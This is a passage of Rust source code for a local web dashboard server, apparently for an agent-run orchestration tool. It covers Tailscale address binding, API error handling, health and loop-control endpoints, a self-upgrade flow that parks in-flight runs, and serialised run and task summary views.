1674pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1680 match bind {
1681 Bind::Addr(addr) => (*addr, None),
1682 Bind::Auto => match tailscale_ip() {
1683 Ok(ip) => (IpAddr::V4(ip), None),
1684 Err(why) => (
1685 IpAddr::V4(Ipv4Addr::LOCALHOST),
1686 Some(format!(
1687 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1688 local-only and a phone cannot reach it; start Tailscale \
1689 or pass --bind <addr>"
1690 )),
1691 ),
1692 },
1693 }
1694}
1695
1696fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1704 let out = std::process::Command::new("tailscale")
1705 .args(["ip", "-4"])
1706 .quiet()
1707 .output()
1708 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1709 if !out.status.success() {
1710 let why = String::from_utf8_lossy(&out.stderr);
1711 let why = why.trim();
1712 return Err(format!(
1713 "`tailscale ip -4` failed ({}){}",
1714 out.status,
1715 if why.is_empty() {
1716 String::new()
1717 } else {
1718 format!(": {why}")
1719 }
1720 ));
1721 }
1722 String::from_utf8_lossy(&out.stdout)
1723 .lines()
1724 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1725 .find(is_tailnet)
1726 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1727}
1728
1729fn is_tailnet(ip: &Ipv4Addr) -> bool {
1731 let o = ip.octets();
1732 o[0] == 100 && (64..=127).contains(&o[1])
1733}
1734
1735type ApiResult<T> = std::result::Result<T, ApiError>;
1739
1740#[derive(Debug)]
1742struct ApiError {
1743 status: StatusCode,
1744 message: String,
1745}
1746
1747impl ApiError {
1748 fn bad_request(message: impl Into<String>) -> Self {
1750 Self {
1751 status: StatusCode::BAD_REQUEST,
1752 message: message.into(),
1753 }
1754 }
1755
1756 fn not_found(message: impl Into<String>) -> Self {
1758 Self {
1759 status: StatusCode::NOT_FOUND,
1760 message: message.into(),
1761 }
1762 }
1763
1764 fn with_status(mut self, status: StatusCode) -> Self {
1767 self.status = status;
1768 self
1769 }
1770
1771 fn bad_request_from(e: anyhow::Error) -> Self {
1775 Self::bad_request(format!("{e:#}"))
1776 }
1777
1778 fn conflict(message: impl Into<String>) -> Self {
1779 Self {
1780 status: StatusCode::CONFLICT,
1781 message: message.into(),
1782 }
1783 }
1784
1785 fn internal(message: impl Into<String>) -> Self {
1787 Self {
1788 status: StatusCode::INTERNAL_SERVER_ERROR,
1789 message: message.into(),
1790 }
1791 }
1792}
1793
1794impl From<anyhow::Error> for ApiError {
1795 fn from(e: anyhow::Error) -> Self {
1800 Self::internal(format!("{e:#}"))
1801 }
1802}
1803
1804impl IntoResponse for ApiError {
1805 fn into_response(self) -> Response {
1806 let body = serde_json::json!({ "error": self.message });
1807 (self.status, Json(body)).into_response()
1808 }
1809}
1810
1811async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1820where
1821 T: Send + 'static,
1822{
1823 match tokio::task::spawn_blocking(job).await {
1824 Ok(result) => result,
1825 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1826 }
1827}
1828
1829const ASSET_CACHE: &str = "no-cache, must-revalidate";
1847
1848fn asset_etag() -> &'static str {
1855 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1856 format!(
1857 "\"{}-{}\"",
1858 env!("CARGO_PKG_VERSION"),
1859 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1864 )
1865 });
1866 &TAG
1867}
1868
1869fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1871 [
1872 (header::CONTENT_TYPE, mime),
1873 (header::CACHE_CONTROL, ASSET_CACHE),
1874 (header::ETAG, asset_etag()),
1875 ]
1876}
1877
1878fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1886 let tag = asset_etag();
1887 let known = headers
1888 .get(header::IF_NONE_MATCH)
1889 .and_then(|v| v.to_str().ok())
1890 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1894 if known {
1895 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1896 }
1897 (asset_headers(mime), body).into_response()
1898}
1899
1900async fn index(headers: header::HeaderMap) -> Response {
1901 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1902}
1903
1904async fn app_css(headers: header::HeaderMap) -> Response {
1905 asset(&headers, "text/css; charset=utf-8", APP_CSS)
1906}
1907
1908async fn app_js(headers: header::HeaderMap) -> Response {
1909 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1910}
1911
1912#[derive(Debug, Serialize)]
1914struct HealthView {
1915 version: &'static str,
1916 home: String,
1917 queue_rev: u64,
1918 runs_rev: u64,
1919 questions_rev: u64,
1931 talks_rev: u64,
1933 notifications_rev: u64,
1935 notifications_unread: usize,
1938 loop_rev: u64,
1943 runs_unreadable: usize,
1951 disk: DiskView,
1959 questions_open: usize,
1965 questions_needs_owner: usize,
1975 daemon: DaemonView,
1976 #[serde(rename = "loop")]
1982 looping: LoopView,
1983 update: UpdateView,
1990 upgrade: Option<UpgradeProgressView>,
1994}
1995
1996#[derive(Debug, Serialize)]
2003struct UpdateView {
2004 available: bool,
2006 to: Option<String>,
2008}
2009
2010#[derive(Debug, Serialize)]
2012struct UpgradeProgressView {
2013 stage: updater::Stage,
2014 from: String,
2015 to: Option<String>,
2016 waiting_on: Option<String>,
2019 started_at: Timestamp,
2020 updated_at: Timestamp,
2021 detail: Option<String>,
2022 stuck_for_secs: Option<i64>,
2025 stuck_kind: Option<updater::StallKind>,
2028 handover_alive: bool,
2031}
2032
2033fn should_spawn_recheck(cfg: &Update) -> bool {
2040 cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2041}
2042
2043fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2055 if progress.is_some_and(|p| !p.stage.terminal()) {
2056 return false;
2057 }
2058 checker.should_check()
2059}
2060
2061fn recheck_poll_period(cfg: &Update) -> Duration {
2074 (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2075}
2076
2077async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
2101 loop {
2102 let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
2103 tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
2104 if !should_spawn_recheck(&cfg.update) {
2105 continue;
2106 }
2107 let Some(checker) = updater::Checker::new(&cfg.update) else {
2108 continue;
2109 };
2110 let progress = updater::read_progress(&home);
2111 if !update_recheck_due(&checker, progress.as_ref()) {
2112 continue;
2113 }
2114 if let Err(e) = checker.newer_release().await {
2115 tracing::warn!("background update recheck failed: {e:#}");
2116 }
2117 }
2118}
2119
2120fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2126 let default;
2127 let cfg = match cfg {
2128 Some(cfg) => cfg,
2129 None => {
2130 default = Config::default();
2131 &default
2132 }
2133 };
2134 let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2135 match latest {
2136 Some(latest) => UpdateView {
2137 available: true,
2138 to: Some(latest.tag_name),
2139 },
2140 None => UpdateView {
2141 available: false,
2142 to: None,
2143 },
2144 }
2145}
2146
2147fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2153 let now = Timestamp::now();
2154 let lease = updater::read_lease(&ui.home);
2155 let alive = updater::live_lease(&progress, lease.as_ref(), now);
2156 let run_id = alive
2157 .and_then(|l| l.parked_run.as_deref())
2158 .or(progress.parked_run.as_deref());
2159 let parking = progress.stage == updater::Stage::Parking;
2160 let waited = alive.map_or_else(String::new, |l| {
2161 let secs = updater::waited_secs(l, now);
2162 format!(" (waited {} min so far)", secs / 60)
2163 });
2164 let run_text = run_id
2165 .filter(|_| parking)
2166 .map(|id| match read_run(&ui.runs, id).ok() {
2167 Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2168 None => format!("run {id} is finishing"),
2169 });
2170 let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2171 .filter(|t| parking && !t.is_empty())
2172 .map(|t| format!("{t} finishing"));
2173 let waiting_on = match (run_text, talks_text) {
2174 (None, None) => None,
2175 (run, talks) => {
2176 let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2177 Some(format!(
2178 "{} before the address is handed over{waited}",
2179 parts.join(" and ")
2180 ))
2181 }
2182 };
2183 let detail = progress
2184 .detail
2185 .clone()
2186 .or_else(|| updater::read_note(&ui.home, &progress));
2187 let stalled = updater::stall(&progress, lease.as_ref(), now);
2188 let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2189 UpgradeProgressView {
2190 stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2191 stuck_kind: stalled.map(|s| s.kind),
2192 handover_alive: alive.is_some(),
2193 stage: progress.stage,
2194 from: progress.from,
2195 to: progress.to,
2196 waiting_on,
2197 started_at: progress.started_at,
2198 updated_at: progress.updated_at,
2199 detail,
2200 }
2201}
2202
2203#[derive(Debug, Serialize)]
2208struct DiskView {
2209 #[serde(skip_serializing_if = "Option::is_none")]
2211 free_bytes: Option<u64>,
2212 runs_bytes: u64,
2214 worktrees_bytes: u64,
2216 #[serde(skip_serializing_if = "Option::is_none")]
2218 cache_bytes: Option<u64>,
2219}
2220
2221impl DiskView {
2222 fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2224 let cache_bytes = cfg
2225 .and_then(|cfg| cfg.cache_dir())
2226 .map(|dir| crate::disk::dir_size(&dir));
2227 Self {
2228 free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
2229 runs_bytes: crate::disk::dir_size(&ui.runs),
2230 worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
2231 cache_bytes,
2232 }
2233 }
2234}
2235
2236#[derive(Debug, Serialize)]
2238struct DaemonView {
2239 running: bool,
2240 idle: Option<bool>,
2241 pid: Option<u32>,
2242 current: Vec<daemon::Current>,
2246 completed: Option<u64>,
2247 stale_for_secs: Option<i64>,
2248}
2249
2250impl DaemonView {
2251 fn of(status: Option<daemon::Reading>) -> Self {
2255 let Some(status) = status else {
2256 return Self {
2257 running: false,
2258 idle: None,
2259 pid: None,
2260 current: Vec::new(),
2261 completed: None,
2262 stale_for_secs: None,
2263 };
2264 };
2265 let now = Timestamp::now();
2266 let age = status.age_secs(now);
2267 Self {
2268 running: status.running(now),
2269 idle: Some(status.idle),
2270 pid: status.pid,
2271 current: status.current,
2272 completed: Some(status.completed),
2273 stale_for_secs: age,
2274 }
2275 }
2276}
2277
2278async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
2279 blocking(move || {
2280 let reading = daemon::read_status(&ui.home);
2284 let loop_rev = ui.lock_loop().rev;
2288 let cfg = deputy_config(&ui.repo);
2291 let update = cached_update_view(cfg.as_ref());
2292 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
2293 Ok(Json(HealthView {
2294 version: env!("CARGO_PKG_VERSION"),
2295 home: ui.home.display().to_string(),
2296 queue_rev: stamps_revision(&store_stamps(ui.queue.root(), false)),
2297 runs_rev: runs_revision(&ui.runs),
2298 questions_rev: ui.questions.revision(),
2299 talks_rev: stamps_revision(&store_stamps(ui.talks.root(), false)),
2300 notifications_rev: ui.notices.revision(),
2301 notifications_unread: ui.notices.count_unread(),
2302 loop_rev,
2303 runs_unreadable: runs_unreadable(&ui.runs),
2304 questions_open: ui.questions.count_open(),
2305 questions_needs_owner: ui.questions.count_needs_owner(),
2306 daemon: DaemonView::of(reading.clone()),
2307 looping: ui.loop_view(reading),
2308 disk: DiskView::of(&ui, cfg.as_ref()),
2309 update,
2310 upgrade,
2311 }))
2312 })
2313 .await
2314}
2315
2316#[derive(Debug, Serialize)]
2318struct LoopView {
2319 running: bool,
2321 stopping: bool,
2329 parking: bool,
2337 owned: bool,
2345 repo: String,
2348 merge: Option<String>,
2351 last_error: Option<String>,
2359 daemon: DaemonView,
2362}
2363
2364#[derive(Debug, Clone, Copy)]
2373struct Foreign {
2374 pid: Option<u32>,
2376}
2377
2378impl Foreign {
2379 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
2382 daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
2386 }
2387
2388 fn who(&self) -> String {
2391 match self.pid {
2392 Some(pid) => format!("another magi process (pid {pid})"),
2393 None => "another magi process".to_owned(),
2394 }
2395 }
2396}
2397
2398type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
2403
2404fn launch_daemon(
2406 opts: daemon::Opts,
2407 stop: daemon::Stop,
2408) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2409 Box::pin(daemon::serve_until(opts, stop))
2410}
2411
2412#[derive(Debug, Default)]
2414struct LoopState {
2415 live: Option<Live>,
2417 rev: u64,
2425 last_error: Option<String>,
2428 resume_after_handover: bool,
2433}
2434
2435#[derive(Debug)]
2437struct Live {
2438 stop: daemon::Stop,
2440 handle: tokio::task::JoinHandle<()>,
2445 opts: daemon::Opts,
2449}
2450
2451impl Live {
2452 fn alive(&self) -> bool {
2454 !self.handle.is_finished()
2455 }
2456}
2457
2458fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2465 state.lock().unwrap_or_else(PoisonError::into_inner)
2466}
2467
2468async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2470 blocking(move || {
2471 let reading = daemon::read_status(&ui.home);
2472 Ok(Json(ui.loop_view(reading)))
2473 })
2474 .await
2475}
2476
2477#[derive(Debug, Deserialize)]
2483#[serde(deny_unknown_fields)]
2484struct LoopCommand {
2485 running: bool,
2486 #[serde(default)]
2496 park: bool,
2497}
2498
2499async fn loop_post(
2507 State(ui): State<Arc<Ui>>,
2508 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2509) -> ApiResult<Json<LoopView>> {
2510 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2513 blocking(move || {
2514 let reading = daemon::read_status(&ui.home);
2515 let foreign = Foreign::of(reading.as_ref());
2516 if body.running {
2517 ui.start_loop(foreign)?;
2518 } else {
2519 ui.stop_loop(foreign, body.park)?;
2520 }
2521 Ok(Json(ui.loop_view(reading)))
2522 })
2523 .await
2524}
2525
2526#[derive(Debug, Serialize)]
2528struct UpgradeView {
2529 from: String,
2531 to: Option<String>,
2533 parked: Option<String>,
2535 detail: String,
2537}
2538
2539fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
2542 progress.filter(|p| !p.stage.terminal())
2543}
2544
2545async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2569 let reading = daemon::read_status(&ui.home);
2570 if let Some(other) = Foreign::of(reading.as_ref()) {
2571 return Err(ApiError::conflict(format!(
2572 "the loop belongs to {}, so replacing this binary would leave \
2573 that process running an old one against the same queue. Upgrade \
2574 where it was started.",
2575 other.who()
2576 )));
2577 }
2578
2579 let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
2584 return Err(ApiError::conflict(
2585 "another request is already preparing an upgrade",
2586 ));
2587 };
2588 if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
2589 return Err(ApiError::conflict(
2590 "an upgrade is already in progress (this process started one and it \
2591 has not finished or failed yet)",
2592 ));
2593 }
2594 let recorded = updater::read_progress(&ui.home);
2595 if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
2596 return Err(ApiError::conflict(format!(
2597 "an upgrade is already in progress (stage: {}, {} -> {}). If it \
2598 stays stuck, restart the deck; on start it settles a stale record.",
2599 p.stage.as_str(),
2600 p.from,
2601 p.to.as_deref().unwrap_or("?"),
2602 )));
2603 }
2604
2605 if crate::updater::disabled_by_env() {
2611 return Ok((
2612 StatusCode::OK,
2613 Json(UpgradeView {
2614 from: env!("CARGO_PKG_VERSION").to_owned(),
2615 to: None,
2616 parked: None,
2617 detail: format!(
2618 "Automatic updates are disabled by {}. Nothing was parked \
2619 and nothing restarted.",
2620 crate::updater::NO_AUTOUPDATE_ENV
2621 ),
2622 }),
2623 ));
2624 }
2625
2626 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2631 let from = env!("CARGO_PKG_VERSION").to_owned();
2632 let latest = match crate::updater::Checker::new(&cfg.update) {
2633 Some(checker) => checker
2634 .newer_release()
2635 .await
2636 .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2637 None => None,
2638 };
2639 let Some(latest) = latest else {
2640 return Ok((
2641 StatusCode::OK,
2642 Json(UpgradeView {
2643 from,
2644 to: None,
2645 parked: None,
2646 detail: "Already on the newest release. Nothing was parked \
2647 and nothing restarted."
2648 .to_owned(),
2649 }),
2650 ));
2651 };
2652
2653 let parked = ui.park_for_upgrade()?;
2656 let detail = match &parked {
2657 Some(run) => format!(
2662 "Run {} is parking at its next step, which can take as long as \
2663 the step it is on - up to an hour for an implement wave. The \
2664 deck replaces itself once it parks, comes back, and the loop \
2665 carries that run on from where it stopped. Nothing is lost if \
2666 you close this.",
2667 crate::run::short_of(run)
2668 ),
2669 None => "The deck replaces itself and comes back. Nothing was in \
2670 flight to park."
2671 .to_owned(),
2672 };
2673
2674 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2678 progress.parked_run = parked.clone();
2679 updater::write_progress_logged(&ui.home, &progress);
2683
2684 let home = ui.home.clone();
2685 let looping = ui.looping();
2686 ui.upgrade_spawned
2687 .store(true, std::sync::atomic::Ordering::SeqCst);
2688 let spawned = Arc::clone(&ui.upgrade_spawned);
2689 tokio::spawn(async move {
2690 if let Err(e) = upgrade_and_restart(home.clone()).await {
2691 tracing::error!("the upgrade did not complete: {e:#}");
2692 lock_or_recover(&looping).resume_after_handover = false;
2693 let _ = updater::fail_progress(&home, &format!("{e:#}"));
2697 spawned.store(false, std::sync::atomic::Ordering::SeqCst);
2700 }
2701 });
2702
2703 Ok((
2704 StatusCode::ACCEPTED,
2705 Json(UpgradeView {
2706 from,
2707 to: Some(latest.tag_name),
2708 parked,
2709 detail,
2710 }),
2711 ))
2712}
2713
2714async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2719 crate::updater::run_self_update(true, false, true).await?;
2722 updater::log_step(&home, "binary replaced - recording the replaced stage");
2723 if let Some(mut progress) = updater::read_progress(&home) {
2724 progress.advance(updater::Stage::Replaced);
2725 updater::write_progress_logged(&home, &progress);
2726 }
2727 updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
2728 HANDOVER.notify_one();
2729 updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
2730 Ok(())
2731}
2732
2733#[derive(Debug, Serialize)]
2739struct RunSummary {
2740 id: String,
2741 short: String,
2742 status: String,
2743 done: bool,
2744 instruction: String,
2745 title: String,
2746 repo: String,
2747 repo_name: String,
2748 created_at: String,
2749 updated_at: String,
2750 candidates: usize,
2751 viable: usize,
2752 judges: usize,
2753 winner: Option<char>,
2754 reviews: usize,
2755 quota_losses: usize,
2756 event: Option<String>,
2757 superseded_by: Option<String>,
2762 waiting: bool,
2769 live: crate::run::Liveness,
2773 pr: Option<crate::run::PrRecord>,
2775 unmerged_by_design: bool,
2781 origin_label: String,
2784}
2785
2786impl RunSummary {
2787 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2788 Self {
2789 id: state.id.clone(),
2790 short: state.short().to_owned(),
2791 status: status_word(state.status),
2792 done: state.status.done(),
2793 unmerged_by_design: state.unmerged_by_design(),
2794 instruction: state.instruction.clone(),
2795 title: title_from(&state.instruction, TITLE_MAX),
2796 repo: state.repo.display().to_string(),
2797 repo_name: state
2798 .repo
2799 .file_name()
2800 .map(|n| n.to_string_lossy().into_owned())
2801 .unwrap_or_default(),
2802 created_at: state.created_at.to_string(),
2803 updated_at: state.updated_at.to_string(),
2804 candidates: state.candidates.len(),
2805 viable: state.viable().len(),
2806 judges: state.config.graph.judges,
2807 winner: state.winner().map(|c| c.label),
2808 reviews: state.reviews.len(),
2809 quota_losses: state.quota.len(),
2810 event: state.events.last().map(|e| e.message.clone()),
2811 waiting,
2812 live,
2813 superseded_by: None,
2816 pr: state.pr.clone(),
2817 origin_label: crate::run::origin_label(state.origin.as_ref()),
2818 }
2819 }
2820}
2821
2822fn status_word(status: RunStatus) -> String {
2825 status.as_str().to_owned()
2829}
2830
2831#[derive(Debug, Deserialize)]
2833struct ListQuery {
2834 #[serde(default)]
2835 limit: Option<usize>,
2836 ids: Option<String>,
2838}
2839
2840impl ListQuery {
2841 fn contains(&self, id: &str) -> bool {
2842 self.ids
2843 .as_ref()
2844 .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
2845 }
2846}
2847
2848async fn runs_list(
2849 State(ui): State<Arc<Ui>>,
2850 Query(q): Query<ListQuery>,
2851) -> ApiResult<Json<Vec<RunSummary>>> {
2852 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2853 blocking(move || {
2854 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
2855 let states = run_ids(&ui.runs)
2856 .into_iter()
2857 .filter_map(|id| read_run(&ui.runs, &id).ok())
2862 .take(limit)
2863 .filter(|run| q.contains(&run.id));
2864 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2865 let summaries = summarize(
2866 states,
2867 &open_runs,
2868 &claimed,
2869 &superseded,
2870 |p| probe.borrow_mut().status(p),
2871 |p| probe.borrow_mut().started_at(p),
2872 );
2873 Ok(Json(summaries))
2874 })
2875 .await
2876}
2877
2878fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
2883 let open_runs: HashSet<String> = ui
2884 .questions
2885 .list()
2886 .into_iter()
2887 .filter(|q| q.status.open())
2888 .map(|q| q.run)
2889 .collect();
2890 let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2891 .into_iter()
2892 .map(|c| c.run)
2893 .collect();
2894 (open_runs, claimed, ui.queue.superseded())
2895}
2896
2897fn summarize<I, S, D>(
2903 states: I,
2904 open_runs: &HashSet<String>,
2905 claimed: &HashSet<String>,
2906 superseded: &HashMap<String, String>,
2907 mut status_q: S,
2908 mut identity_q: D,
2909) -> Vec<RunSummary>
2910where
2911 I: IntoIterator<Item = RunState>,
2912 S: FnMut(u32) -> Option<bool>,
2913 D: FnMut(u32) -> Option<String>,
2914{
2915 states
2916 .into_iter()
2917 .map(|state| {
2918 let waiting = open_runs.contains(&state.id);
2919 let live =
2920 state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
2921 let mut row = RunSummary::of(&state, waiting, live);
2922 row.superseded_by = state
2923 .pr_taken_over_by
2924 .as_ref()
2925 .or_else(|| superseded.get(&state.id))
2926 .map(String::as_str)
2927 .map(crate::run::short_of)
2928 .map(str::to_owned);
2929 row
2930 })
2931 .collect()
2932}
2933
2934#[derive(Debug, Serialize)]
2941struct RunDetailView {
2942 #[serde(flatten)]
2943 state: RunState,
2944 instruction_md: Vec<md::Node>,
2945 #[serde(flatten)]
2949 prose_md: RunProseMd,
2950 live: crate::run::Liveness,
2965 unmerged_by_design: bool,
2970 done: bool,
2975 superseded_by: Option<String>,
2983 latest_attempt: Option<LatestAttempt>,
2997 task: Option<TaskRef>,
3000 origin_label: String,
3004}
3005
3006#[derive(Debug, Serialize)]
3008struct TaskRef {
3009 id: String,
3010 short: String,
3011 title: String,
3012 source_label: String,
3014 source_link: Option<SourceLink>,
3016 status: &'static str,
3018 attempts: usize,
3019 max_attempts: usize,
3020 is_latest: bool,
3022 latest: Option<RunBrief>,
3024 finished_by: Option<RunBrief>,
3026 closed_by_hand: bool,
3028}
3029
3030#[derive(Debug, PartialEq, Eq, Serialize)]
3032struct SourceLink {
3033 kind: &'static str,
3035 id: String,
3037 href: String,
3039}
3040
3041fn encode_segment(raw: &str) -> String {
3043 let mut out = String::with_capacity(raw.len());
3044 for b in raw.bytes() {
3045 if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
3046 out.push(b as char);
3047 } else {
3048 out.push_str(&format!("%{b:02X}"));
3049 }
3050 }
3051 out
3052}
3053
3054fn source_link(source: &Source) -> Option<SourceLink> {
3058 let Source::Agent { run, node } = source else {
3059 return None;
3060 };
3061 let (kind, route) = if node == crate::queue::CHAT_NODE {
3062 ("chat", "chat")
3063 } else {
3064 ("run", "runs")
3065 };
3066 Some(SourceLink {
3067 kind,
3068 id: run.clone(),
3069 href: format!("#/{route}/{}", encode_segment(run)),
3070 })
3071}
3072
3073#[derive(Debug, Serialize, PartialEq)]
3075struct FollowUpParent {
3076 id: String,
3077 short: String,
3078 title: String,
3079 status: &'static str,
3081 href: String,
3082}
3083
3084#[derive(Debug, Serialize, PartialEq)]
3086struct FollowUpRun {
3087 id: String,
3088 short: String,
3089 status: Option<&'static str>,
3091 href: Option<String>,
3093}
3094
3095#[derive(Debug, Serialize, PartialEq)]
3098struct FollowUpOrigin {
3099 parent: Option<FollowUpParent>,
3101 run: FollowUpRun,
3102 pr: String,
3107 findings: Vec<String>,
3108 generation: u32,
3109}
3110
3111fn followup_origin(
3114 fu: &crate::queue::FollowUp,
3115 task: impl Fn(&str) -> Option<Task>,
3116 run: impl Fn(&str) -> Option<RunState>,
3117) -> FollowUpOrigin {
3118 let parent = fu
3119 .origin_task
3120 .as_deref()
3121 .and_then(task)
3122 .map(|t| FollowUpParent {
3123 short: t.short().to_owned(),
3124 href: format!("#/tasks/{}", encode_segment(&t.id)),
3125 status: t.status.as_str(),
3126 title: t.title,
3127 id: t.id,
3128 });
3129 let state = run(&fu.run);
3130 FollowUpOrigin {
3131 parent,
3132 run: FollowUpRun {
3133 short: run::short_of(&fu.run).to_owned(),
3134 status: state.as_ref().map(|s| s.status.as_str()),
3135 href: state
3136 .is_some()
3137 .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
3138 id: fu.run.clone(),
3139 },
3140 pr: fu.pr.clone(),
3141 findings: fu.findings.clone(),
3142 generation: fu.generation,
3143 }
3144}
3145
3146#[derive(Debug, Serialize)]
3148struct RunBrief {
3149 id: String,
3150 short: String,
3151 status: Option<&'static str>,
3153 outcome: String,
3155}
3156
3157fn task_outcome(
3160 task: &Task,
3161 this_run: &str,
3162 max_attempts: usize,
3163 read: impl Fn(&str) -> Option<RunState>,
3164) -> TaskRef {
3165 let history = task_history(task, read);
3166 let brief = |h: &TaskRunView| RunBrief {
3167 id: h.id.clone(),
3168 short: h.short.clone(),
3169 status: h.status,
3170 outcome: h.exit.edge_label(h.status),
3171 };
3172 let is_latest = task.runs.last().is_none_or(|r| r == this_run);
3173 let latest = if is_latest {
3174 None
3175 } else {
3176 history.last().map(brief)
3177 };
3178 let done = task.status == TaskStatus::Done;
3179 let finished_by = done
3180 .then(|| {
3181 history
3182 .iter()
3183 .rev()
3184 .find(|h| {
3185 matches!(
3186 h.exit,
3187 RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
3188 )
3189 })
3190 .map(brief)
3191 })
3192 .flatten();
3193 TaskRef {
3194 short: task.short().to_owned(),
3195 title: task.title.clone(),
3196 id: task.id.clone(),
3197 source_label: task.source.label(),
3198 source_link: source_link(&task.source),
3199 status: task.status.as_str(),
3200 attempts: task.attempts,
3201 max_attempts,
3202 is_latest,
3203 latest,
3204 closed_by_hand: done && finished_by.is_none(),
3205 finished_by,
3206 }
3207}
3208
3209#[derive(Debug, Serialize)]
3211struct LatestAttempt {
3212 id: String,
3213 short: String,
3214 resolved: bool,
3225 status: RunStatus,
3228 done: bool,
3230}
3231
3232#[derive(Debug, Default, Serialize)]
3234struct RunProseMd {
3235 advice_md: Option<AdviceMd>,
3237 candidate_summaries_md: Vec<Vec<md::Node>>,
3239 reviews_md: Vec<RoundMd>,
3241}
3242
3243#[derive(Debug, Default, Serialize)]
3244struct AdviceMd {
3245 synthesis: Vec<md::Node>,
3246 approaches: Vec<Vec<md::Node>>,
3248}
3249
3250#[derive(Debug, Default, Serialize)]
3251struct RoundMd {
3252 reviewers: Vec<ReviewerMd>,
3254 reconsideration: Vec<Vec<md::Node>>,
3256 fix: Option<FixMd>,
3257}
3258
3259#[derive(Debug, Default, Serialize)]
3260struct ReviewerMd {
3261 summary: Vec<md::Node>,
3262 findings: Vec<Vec<md::Node>>,
3264}
3265
3266#[derive(Debug, Default, Serialize)]
3267struct FixMd {
3268 notes: Vec<md::Node>,
3269 rejected: Vec<Vec<md::Node>>,
3271}
3272
3273fn run_prose_md(state: &RunState) -> RunProseMd {
3275 let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
3276 RunProseMd {
3277 advice_md: state.advice.as_ref().map(|a| AdviceMd {
3278 synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
3279 approaches: a
3280 .records
3281 .iter()
3282 .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
3283 .collect(),
3284 }),
3285 candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
3286 reviews_md: state
3287 .reviews
3288 .iter()
3289 .map(|round| RoundMd {
3290 reviewers: round
3291 .reviews
3292 .iter()
3293 .map(|rec| ReviewerMd {
3294 summary: nodes(&rec.summary),
3295 findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
3296 })
3297 .collect(),
3298 reconsideration: round
3299 .reconsideration
3300 .iter()
3301 .map(|rv| nodes(&rv.reason))
3302 .collect(),
3303 fix: round.fix.as_ref().map(|fix| FixMd {
